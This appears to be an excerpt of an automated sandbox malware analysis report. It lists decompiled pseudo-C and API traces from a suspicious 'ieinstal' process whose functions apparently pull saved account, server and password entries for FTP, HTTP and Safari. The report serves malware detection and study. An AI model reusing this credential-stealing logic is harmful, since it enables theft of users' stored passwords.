                                                                                                                              • Part of subcall function 004098E2: CloseHandle.KERNEL32(?), ref: 00409969
                                                                                                                              • Part of subcall function 004098E2: CloseClipboard.USER32 ref: 0040997D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ClipboardFile$Global$CloseTemp$AllocDataDeleteDirectoryEmptyErrorHandleLastNameOpenPathReadSizeWindowsWire
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1203541146-0
                                                                                                                            • Opcode ID: 0cde1a455cb318c00b32f556f5e8c7a3ba143a63badd7d8bcbff79f11634fc9a
                                                                                                                            • Instruction ID: 30b21b9b2413019ae2959f490c9fe9c3e0a1eb79cd5a134b572bdad6ddd06780
                                                                                                                            • Opcode Fuzzy Hash: 0cde1a455cb318c00b32f556f5e8c7a3ba143a63badd7d8bcbff79f11634fc9a
                                                                                                                            • Instruction Fuzzy Hash: C7F0A4367003006BEA203B729C4EFDB379DAB80710F04453AB965A62E2DE78EC818518
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401806 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@memcpymemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1865533344-0
                                                                                                                            • Opcode ID: f3de4b73387da6c78884f7b0b81a8c47798430fc751eec9b9c4e2da2d29500ae
                                                                                                                            • Instruction ID: 142cde259e2f0f6626273334703b570cf32d48e622dac596d848113b95f58250
                                                                                                                            • Opcode Fuzzy Hash: f3de4b73387da6c78884f7b0b81a8c47798430fc751eec9b9c4e2da2d29500ae
                                                                                                                            • Instruction Fuzzy Hash: D7113C71900209EFDF10AF95C805AAE3B71FF09325F04C16AFD15662A1C7798E21EF5A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Version
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1889659487-0
                                                                                                                            • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                            • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                                                                                                                            • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                            • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004018C0 Relevance: 1.5, APIs: 1, Instructions: 6nativeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • NtdllDefWindowProc_W.NTDLL(?,?,?,?,00401B0D,?,?,?), ref: 004018D2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: NtdllProc_Window
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4255912815-0
                                                                                                                            • Opcode ID: 3de349333402391b5f3bd83c09a178b3b388cc2d8cda5cc5e9d51b86f8a07b54
                                                                                                                            • Instruction ID: 27e4c09127093a565ccbabfb03fa630377511b1425115cef73ae3fc8c8acf6c4
                                                                                                                            • Opcode Fuzzy Hash: 3de349333402391b5f3bd83c09a178b3b388cc2d8cda5cc5e9d51b86f8a07b54
                                                                                                                            • Instruction Fuzzy Hash: BEC0483A108200FFCA024B81DD08D0ABFA2BB98320F00C868B2AC0403187338022EB02
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 74%
                                                                                                                            			E00402279(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v32;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				int _v68;
				char _v72;
				void* _v80;
				void _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				int _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				int _v336;
				int _v340;
				struct HINSTANCE__* _v344;
				char* _v348;
				char _v352;
				void* __ebx;
				void* __edi;
				void* _t178;
				void* _t180;
				void* _t182;
				int _t184;
				void* _t221;
				intOrPtr _t222;
				signed int _t235;
				void* _t239;
				void* _t248;
				intOrPtr _t249;

				_t249 = __ecx;
				_v64 = __ecx;
				_v352 = _a4 + 4;
				_t178 = E0040AA1D(_a4 + 4);
				0x44662e(_t178, "server", _t239, _t248, _t221);
				_t222 = _a8;
				if(_t178 == 0) {
					E0040AA29(E0040AA1D(_t222 + 4) | 0xffffffff, __ecx + 0x2c, _t218);
				}
				_t180 = E0040AA1D(_v352);
				0x44662e(_t180, "Path");
				if(_t180 == 0) {
					E0040AA29(E0040AA1D(_t222 + 4) | 0xffffffff, _t249 + 0x40, _t214);
				}
				_t182 = E0040AA1D(_v352);
				0x44662e(_t182, "Account");
				if(_t182 == 0) {
					E0040AA29(E0040AA1D(_t222 + 4) | 0xffffffff, _t249 + 0x54, _t210);
				}
				_t184 = E0040AA1D(_v352);
				0x44662e(_t184, "Data");
				if(_t184 != 0) {
					L13:
					return _t184;
				} else {
					_v344 = _t184;
					_v336 = _t184;
					_v340 = _t184;
					_v332 = 0x1d;
					_v331 = 0xac;
					_v330 = 0xa8;
					_v329 = 0xf8;
					_v328 = 0xd3;
					_v327 = 0xb8;
					_v326 = 0x48;
					_v325 = 0x3e;
					_v324 = 0x48;
					_v323 = 0x7d;
					_v322 = 0x3e;
					_v321 = 0xa;
					_v320 = 0x62;
					_v319 = 7;
					_v318 = 0xdd;
					_v317 = 0x26;
					_v316 = 0xe6;
					_v315 = 0x67;
					_v314 = 0x81;
					_v313 = 3;
					_v312 = 0xe7;
					_v311 = 0xb2;
					_v310 = 0x13;
					_v309 = 0xa5;
					_v308 = 0xb0;
					_v307 = 0x79;
					_v306 = 0xee;
					_v305 = 0x4f;
					_v304 = 0xf;
					_v303 = 0x41;
					_v302 = 0x15;
					_v301 = 0xed;
					_v300 = 0x7b;
					_v299 = 0x14;
					_v298 = 0x8c;
					_v297 = 0xe5;
					_v296 = 0x4b;
					_v295 = 0x46;
					_v294 = 0xd;
					_v293 = 0xc1;
					_v292 = 0x8e;
					_v291 = 0xfe;
					_v290 = 0xd6;
					_v289 = 0xe7;
					_v288 = 0x27;
					_v287 = 0x75;
					_v286 = 6;
					_v285 = 0x8b;
					_v284 = 0x49;
					_v283 = _t184;
					_v282 = 0xdc;
					_v281 = 0xf;
					_v280 = 0x30;
					_v279 = 0xa0;
					_v278 = 0x9e;
					_v277 = 0xfd;
					_v276 = 9;
					_v275 = 0x85;
					_v274 = 0xf1;
					_v273 = 0xc8;
					_v272 = 0xaa;
					_v271 = 0x75;
					_v270 = 0xc1;
					_v269 = 8;
					_v268 = 5;
					_v267 = 0x79;
					_v266 = 1;
					_v265 = 0xe2;
					_v264 = 0x97;
					_v263 = 0xd8;
					_v262 = 0xaf;
					_v261 = 0x80;
					_v260 = 0x38;
					_v259 = 0x60;
					_v258 = 0xb;
					_v257 = 0x71;
					_v256 = 0xe;
					_v255 = 0x68;
					_v254 = 0x53;
					_v253 = 0x77;
					_v252 = 0x2f;
					_v251 = 0xf;
					_v250 = 0x61;
					_v249 = 0xf6;
					_v248 = 0x1d;
					_v247 = 0x8e;
					_v246 = 0x8f;
					_v245 = 0x5c;
					_v244 = 0xb2;
					_v243 = 0x3d;
					_v242 = 0x21;
					_v241 = 0x74;
					_v240 = 0x40;
					_v239 = 0x4b;
					_v238 = 0xb5;
					_v237 = 6;
					_v236 = 0x6e;
					_v235 = 0xab;
					_v234 = 0x7a;
					_v233 = 0xbd;
					_v232 = 0x8b;
					_v231 = 0xa9;
					_v230 = 0x7e;
					_v229 = 0x32;
					_v228 = 0x8f;
					_v227 = 0x6e;
					_v226 = 6;
					_v225 = 0x24;
					_v224 = 0xd9;
					_v223 = 0x29;
					_v222 = 0xa4;
					_v221 = 0xa5;
					_v220 = 0xbe;
					_v219 = 0x26;
					_v218 = 0x23;
					_v217 = 0xfd;
					_v216 = 0xee;
					_v215 = 0xf1;
					_v214 = 0x4c;
					_v213 = 0xf;
					_v212 = 0x74;
					_v211 = 0x5e;
					_v210 = 0x58;
					_v209 = 0xfb;
					_v208 = 0x91;
					_v207 = 0x74;
					_v206 = 0xef;
					_v205 = 0x91;
					memset( &_v204, _t184, 0x80);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t235 = 7;
					asm("movsb");
					memcpy( &_v32, 0x44e5d0, _t235 << 2);
					memcpy( &_v204,  &_v52, 0x11);
					_v348 =  &_v332;
					_v56 =  *((intOrPtr*)(_t222 + 0x18));
					_v352 = 0x90;
					_v60 =  *(_t222 + 2) & 0x0000ffff;
					if(E00404423( &_v344,  &_v60,  &_v352, 0,  &_v72) != 0) {
						L9:
						_t184 = _v68;
						if(_t184 != 0) {
							E0040AB4A(_v64 + 0x68, _t184 + 4,  *_t184 & 0x000000ff, 0);
							_t184 = LocalFree(_v80);
						}
						L11:
						if(_v344 != 0) {
							_t184 = FreeLibrary(_v344);
						}
						goto L13;
					}
					memcpy( &_v204,  &_v32, 0x1c);
					_v348 =  &_v332;
					_v352 = 0x9b;
					_t184 = E00404423( &_v344,  &_v60,  &_v352, 0,  &_v72);
					if(_t184 == 0) {
						goto L11;
					}
					goto L9;
				}
			}





























































































































































                                                                                                                            0x0040228e
                                                                                                                            0x00402295
                                                                                                                            0x0040229c
                                                                                                                            0x004022a0
                                                                                                                            0x004022a6
                                                                                                                            0x004022ad
                                                                                                                            0x004022b2
                                                                                                                            0x004022c3
                                                                                                                            0x004022c3
                                                                                                                            0x004022d1
                                                                                                                            0x004022d7
                                                                                                                            0x004022e0
                                                                                                                            0x004022f1
                                                                                                                            0x004022f1
                                                                                                                            0x004022ff
                                                                                                                            0x00402305
                                                                                                                            0x0040230e
                                                                                                                            0x0040231f
                                                                                                                            0x0040231f
                                                                                                                            0x0040232d
                                                                                                                            0x00402333
                                                                                                                            0x0040233c
                                                                                                                            0x0040277b
                                                                                                                            0x00402781
                                                                                                                            0x00402342
                                                                                                                            0x00402342
                                                                                                                            0x00402346
                                                                                                                            0x0040234a
                                                                                                                            0x0040234e
                                                                                                                            0x00402353
                                                                                                                            0x00402358
                                                                                                                            0x0040235d
                                                                                                                            0x00402362
                                                                                                                            0x00402367
                                                                                                                            0x0040236c
                                                                                                                            0x00402371
                                                                                                                            0x00402376
                                                                                                                            0x0040237b
                                                                                                                            0x00402380
                                                                                                                            0x00402385
                                                                                                                            0x0040238a
                                                                                                                            0x0040238f
                                                                                                                            0x00402394
                                                                                                                            0x00402399
                                                                                                                            0x0040239e
                                                                                                                            0x004023a3
                                                                                                                            0x004023a8
                                                                                                                            0x004023ad
                                                                                                                            0x004023b2
                                                                                                                            0x004023b7
                                                                                                                            0x004023bc
                                                                                                                            0x004023c1
                                                                                                                            0x004023c6
                                                                                                                            0x004023cb
                                                                                                                            0x004023d0
                                                                                                                            0x004023d5
                                                                                                                            0x004023da
                                                                                                                            0x004023df
                                                                                                                            0x004023e4
                                                                                                                            0x004023e9
                                                                                                                            0x004023ee
                                                                                                                            0x004023f3
                                                                                                                            0x004023f8
                                                                                                                            0x004023fd
                                                                                                                            0x00402402
                                                                                                                            0x00402407
                                                                                                                            0x0040240c
                                                                                                                            0x00402411
                                                                                                                            0x00402416
                                                                                                                            0x0040241b
                                                                                                                            0x00402420
                                                                                                                            0x00402425
                                                                                                                            0x0040242a
                                                                                                                            0x0040242f
                                                                                                                            0x00402434
                                                                                                                            0x00402439
                                                                                                                            0x0040243e
                                                                                                                            0x00402443
                                                                                                                            0x00402447
                                                                                                                            0x0040244c
                                                                                                                            0x00402451
                                                                                                                            0x00402456
                                                                                                                            0x0040245b
                                                                                                                            0x00402460
                                                                                                                            0x00402465
                                                                                                                            0x0040246a
                                                                                                                            0x0040246f
                                                                                                                            0x00402474
                                                                                                                            0x00402479
                                                                                                                            0x0040247e
                                                                                                                            0x00402483
                                                                                                                            0x00402488
                                                                                                                            0x0040248d
                                                                                                                            0x00402492
                                                                                                                            0x00402497
                                                                                                                            0x0040249c
                                                                                                                            0x004024a1
                                                                                                                            0x004024a6
                                                                                                                            0x004024ab
                                                                                                                            0x004024b0
                                                                                                                            0x004024b5
                                                                                                                            0x004024ba
                                                                                                                            0x004024bf
                                                                                                                            0x004024c4
                                                                                                                            0x004024c9
                                                                                                                            0x004024ce
                                                                                                                            0x004024e1
                                                                                                                            0x004024e6
                                                                                                                            0x004024eb
                                                                                                                            0x004024f0
                                                                                                                            0x004024f5
                                                                                                                            0x004024fa
                                                                                                                            0x004024ff
                                                                                                                            0x00402507
                                                                                                                            0x0040250f
                                                                                                                            0x00402517
                                                                                                                            0x0040251f
                                                                                                                            0x00402527
                                                                                                                            0x0040252f
                                                                                                                            0x00402537
                                                                                                                            0x0040253f
                                                                                                                            0x00402547
                                                                                                                            0x0040254f
                                                                                                                            0x00402557
                                                                                                                            0x0040255f
                                                                                                                            0x00402567
                                                                                                                            0x0040256f
                                                                                                                            0x00402577
                                                                                                                            0x0040257f
                                                                                                                            0x00402587
                                                                                                                            0x0040258f
                                                                                                                            0x00402597
                                                                                                                            0x0040259f
                                                                                                                            0x004025a7
                                                                                                                            0x004025af
                                                                                                                            0x004025b7
                                                                                                                            0x004025bf
                                                                                                                            0x004025c7
                                                                                                                            0x004025cf
                                                                                                                            0x004025d7
                                                                                                                            0x004025df
                                                                                                                            0x004025e7
                                                                                                                            0x004025ef
                                                                                                                            0x004025f7
                                                                                                                            0x004025ff
                                                                                                                            0x00402607
                                                                                                                            0x0040260f
                                                                                                                            0x00402617
                                                                                                                            0x0040261f
                                                                                                                            0x00402627
                                                                                                                            0x0040262f
                                                                                                                            0x00402637
                                                                                                                            0x0040263f
                                                                                                                            0x00402647
                                                                                                                            0x0040264f
                                                                                                                            0x00402657
                                                                                                                            0x0040265f
                                                                                                                            0x00402670
                                                                                                                            0x00402671
                                                                                                                            0x00402672
                                                                                                                            0x00402678
                                                                                                                            0x00402679
                                                                                                                            0x00402683
                                                                                                                            0x00402699
                                                                                                                            0x0040269b
                                                                                                                            0x004026a4
                                                                                                                            0x004026ab
                                                                                                                            0x004026b9
                                                                                                                            0x004026c1
                                                                                                                            0x004026eb
                                                                                                                            0x0040273a
                                                                                                                            0x0040273a
                                                                                                                            0x00402743
                                                                                                                            0x00402758
                                                                                                                            0x00402764
                                                                                                                            0x00402764
                                                                                                                            0x0040276a
                                                                                                                            0x0040276f
                                                                                                                            0x00402775
                                                                                                                            0x00402775
                                                                                                                            0x00000000
                                                                                                                            0x0040276f
                                                                                                                            0x004026ff
                                                                                                                            0x0040270b
                                                                                                                            0x00402729
                                                                                                                            0x00402731
                                                                                                                            0x00402738
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00402738

                                                                                                                            APIs
                                                                                                                            • _wcsicmp.MSVCRT ref: 004022A6
                                                                                                                            • _wcsicmp.MSVCRT ref: 004022D7
                                                                                                                            • _wcsicmp.MSVCRT ref: 00402305
                                                                                                                            • _wcsicmp.MSVCRT ref: 00402333
                                                                                                                              • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                              • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                                                                                                                            • memset.MSVCRT ref: 0040265F
                                                                                                                            • memcpy.MSVCRT ref: 0040269B
                                                                                                                              • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                                                              • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                            • memcpy.MSVCRT ref: 004026FF
                                                                                                                            • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                                                                                                                            • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp$Freememcpy$Library$AddressLocalProcmemsetwcslen
                                                                                                                            • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                                                            • API String ID: 577499730-1134094380
                                                                                                                            • Opcode ID: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                                                                                                                            • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                                                                                                                            • Opcode Fuzzy Hash: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                                                                                                                            • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C87B Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 285stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 51%
                                                                                                                            			E0040C87B(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, wchar_t* _a12, void* _a16, signed char _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr* _v8;
				wchar_t* _v12;
				void _v267;
				char _v268;
				void _v778;
				short _v780;
				void _v1290;
				short _v1292;
				void _v3338;
				long _v3340;
				void* _t88;
				void* _t89;
				void* _t92;
				char* _t93;
				signed char _t94;
				char* _t101;
				char* _t111;
				signed char _t115;
				void* _t116;
				wchar_t* _t119;
				int _t120;
				wchar_t* _t125;
				void* _t126;
				int _t127;
				void* _t128;
				signed char _t129;
				void* _t130;
				wchar_t* _t136;
				int _t141;
				void* _t152;
				void* _t154;
				wchar_t* _t165;
				char* _t166;
				int _t167;
				void* _t170;
				void* _t175;
				void* _t176;
				void* _t178;
				void* _t179;
				void* _t180;

				_v8 = __ecx;
				_t88 = E0040B2CC(__ecx, __eflags, 0x173);
				0x44662e(_a4, _t88);
				_t189 = _t88;
				_pop(_t150);
				if(_t88 != 0) {
					L12:
					_t165 = _a12;
					L13:
					_t89 = E0040B2CC(_t150, _t200, 0x174);
					0x44662e(_a4, _t89);
					_t201 = _t89;
					_pop(_t152);
					if(_t89 != 0) {
						L31:
						return 1;
					}
					_t92 = E0040B2CC(_t152, _t201, 0x174);
					0x44662e(_a8, _t92);
					_pop(_t154);
					if(_t92 != 0) {
						goto L31;
					}
					0x44666a(_t165, "ftp://", 6);
					if(_t92 != 0) {
						_t93 = E0040B2CC(_t154, __eflags, 0x175);
						0x44666a(_t165, _t93, 6);
						__eflags = _t93;
						if(_t93 == 0) {
							goto L31;
						}
						_t94 = _a20;
						_t166 = _a16;
						__eflags = _t166[_t94 - 1];
						if(_t166[_t94 - 1] != 0) {
							goto L31;
						}
						_v268 = 0;
						memset( &_v267, 0, 0xff);
						_t167 = strlen(_t166);
						__eflags = _t167 - 0xff;
						if(_t167 >= 0xff) {
							_t167 = 0xfe;
						}
						memcpy( &_v268, _a16, _t167);
						 *((char*)(_t179 + _t167 - 0x108)) = 0;
						_t101 = strchr( &_v268, 0x3a);
						__eflags = _t101;
						_a16 = _t101;
						if(_t101 != 0) {
							 *_t101 = 0;
							_v1292 = 0;
							memset( &_v1290, 0, 0x1fe);
							_v780 = 0;
							memset( &_v778, 0, 0x1fe);
							MultiByteToWideChar(0, 0,  &_v268, 0xffffffff,  &_v780, 0xff);
							_t111 = _a16 + 1;
							__eflags = _t111;
							MultiByteToWideChar(0, 0, _t111, 0xffffffff,  &_v1292, 0xff);
							_push(_a28);
							_push(_a24);
							_push( &_v1292);
							_push( &_v780);
							_push(_a12);
							_push(_a12);
							_push(2);
							L30:
							 *((intOrPtr*)( *_v8 + 4))();
						}
						goto L31;
					}
					_t115 = _a20;
					if((_t115 & 0x00000001) != 0) {
						goto L31;
					}
					_t116 = _a16 + _t115;
					if( *((intOrPtr*)(_t116 - 1)) != 0 ||  *((intOrPtr*)(_t116 - 2)) != 0) {
						goto L31;
					} else {
						_v3340 = 0;
						memset( &_v3338, 0, 0x7fe);
						_t119 = wcschr(_t165, 0x40);
						_t120 = wcslen(_t165);
						if(_t119 != 0 && _t120 < 0x400) {
							wcscpy( &_v3340,  &(_t165[3]));
							_t125 = wcschr( &_v3340, 0x40);
							if(_t125 != 0) {
								 *_t125 = 0;
							}
						}
						_push(_a28);
						_push(_a24);
						_push(_a16);
						_push( &_v3340);
						_push(_t165);
						_push(_t165);
						_push(3);
						goto L30;
					}
				}
				_t126 = E0040B2CC(_t150, _t189, 0x173);
				0x44662e(_a8, _t126);
				_t165 = _a12;
				_pop(_t150);
				if(_t126 != 0) {
					goto L13;
				}
				0x44666a(_t165, "http://", 7);
				_t180 = _t180 + 0xc;
				if(_t126 == 0) {
					L4:
					_t127 = wcslen(_t165);
					_t5 = _t127 - 0x10; // -16
					_t150 = _t5;
					if(_t5 > 0x3ef) {
						goto L13;
					}
					_t7 = _t127 - 0x16; // -22
					_t175 = _t127 + _t7;
					_t128 = _t175 + _t165;
					0x44662e(":stringdata");
					_t150 = _t128;
					if(_t128 != 0) {
						goto L13;
					}
					_t129 = _a20;
					if((_t129 & 0x00000001) != 0) {
						goto L13;
					}
					_t150 = _a16;
					_t130 = _a16 + _t129;
					if( *((intOrPtr*)(_t130 - 1)) != 0 ||  *((intOrPtr*)(_t130 - 2)) != 0) {
						goto L13;
					} else {
						_v3340 = 0;
						memset( &_v3338, 0, 0x7fe);
						wcscpy( &_v3340, _t165);
						 *((short*)(_t179 + _t175 - 0xd08)) = 0;
						_t180 = _t180 + 0x14;
						_t176 = 0;
						if(_a20 <= 2) {
							goto L13;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t136 = _a16 + _t176;
							_v12 = _t136;
							_t24 = wcslen(_t136) * 2; // 0x2
							_t170 = _t176 + _t24 + 2;
							_t26 = _t170 + 2; // 0x4
							_pop(_t150);
							if(_t26 > _a20) {
								goto L12;
							}
							_t141 = wcslen(_a16 + _t170);
							_t150 = _v8;
							_t178 = _t141 + _t141;
							 *((intOrPtr*)( *_v8 + 4))(1,  &_v3340, _a12, _v12, _a16 + _t170, _a24, _a28);
							_t38 = _t178 + 2; // 0x4
							_t176 = _t170 + _t38;
							_t39 = _t176 + 2; // 0x6
							_t200 = _t39 - _a20;
							if(_t39 < _a20) {
								continue;
							}
							goto L12;
						}
						goto L12;
					}
				}
				0x44666a(_t165, "https://", 8);
				_t180 = _t180 + 0xc;
				if(_t126 != 0) {
					goto L13;
				}
				goto L4;
			}











































                                                                                                                            0x0040c88d
                                                                                                                            0x0040c890
                                                                                                                            0x0040c899
                                                                                                                            0x0040c8a1
                                                                                                                            0x0040c8a3
                                                                                                                            0x0040c8a4
                                                                                                                            0x0040c9d9
                                                                                                                            0x0040c9d9
                                                                                                                            0x0040c9dc
                                                                                                                            0x0040c9e2
                                                                                                                            0x0040c9eb
                                                                                                                            0x0040c9f0
                                                                                                                            0x0040c9f3
                                                                                                                            0x0040c9f4
                                                                                                                            0x0040cbd8
                                                                                                                            0x0040cbde
                                                                                                                            0x0040cbde
                                                                                                                            0x0040c9fb
                                                                                                                            0x0040ca04
                                                                                                                            0x0040ca0c
                                                                                                                            0x0040ca0d
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ca1b
                                                                                                                            0x0040ca25
                                                                                                                            0x0040caca
                                                                                                                            0x0040cad3
                                                                                                                            0x0040cadb
                                                                                                                            0x0040cadd
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040cae3
                                                                                                                            0x0040cae6
                                                                                                                            0x0040cae9
                                                                                                                            0x0040caed
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040cb01
                                                                                                                            0x0040cb07
                                                                                                                            0x0040cb12
                                                                                                                            0x0040cb17
                                                                                                                            0x0040cb19
                                                                                                                            0x0040cb1b
                                                                                                                            0x0040cb1b
                                                                                                                            0x0040cb29
                                                                                                                            0x0040cb37
                                                                                                                            0x0040cb3e
                                                                                                                            0x0040cb46
                                                                                                                            0x0040cb48
                                                                                                                            0x0040cb4b
                                                                                                                            0x0040cb57
                                                                                                                            0x0040cb61
                                                                                                                            0x0040cb68
                                                                                                                            0x0040cb76
                                                                                                                            0x0040cb7d
                                                                                                                            0x0040cb9e
                                                                                                                            0x0040cbad
                                                                                                                            0x0040cbad
                                                                                                                            0x0040cbb1
                                                                                                                            0x0040cbb3
                                                                                                                            0x0040cbbc
                                                                                                                            0x0040cbbf
                                                                                                                            0x0040cbc6
                                                                                                                            0x0040cbc7
                                                                                                                            0x0040cbca
                                                                                                                            0x0040cbcd
                                                                                                                            0x0040cbcf
                                                                                                                            0x0040cbd4
                                                                                                                            0x0040cbd4
                                                                                                                            0x00000000
                                                                                                                            0x0040cb4b
                                                                                                                            0x0040ca2b
                                                                                                                            0x0040ca30
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ca39
                                                                                                                            0x0040ca3e
                                                                                                                            0x00000000
                                                                                                                            0x0040ca4d
                                                                                                                            0x0040ca5a
                                                                                                                            0x0040ca61
                                                                                                                            0x0040ca69
                                                                                                                            0x0040ca71
                                                                                                                            0x0040ca7b
                                                                                                                            0x0040ca8f
                                                                                                                            0x0040ca9d
                                                                                                                            0x0040caa7
                                                                                                                            0x0040caa9
                                                                                                                            0x0040caa9
                                                                                                                            0x0040caa7
                                                                                                                            0x0040caac
                                                                                                                            0x0040cab5
                                                                                                                            0x0040cab8
                                                                                                                            0x0040cabb
                                                                                                                            0x0040cabc
                                                                                                                            0x0040cabd
                                                                                                                            0x0040cabe
                                                                                                                            0x00000000
                                                                                                                            0x0040cabe
                                                                                                                            0x0040ca3e
                                                                                                                            0x0040c8ab
                                                                                                                            0x0040c8b4
                                                                                                                            0x0040c8bb
                                                                                                                            0x0040c8bf
                                                                                                                            0x0040c8c0
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c8ce
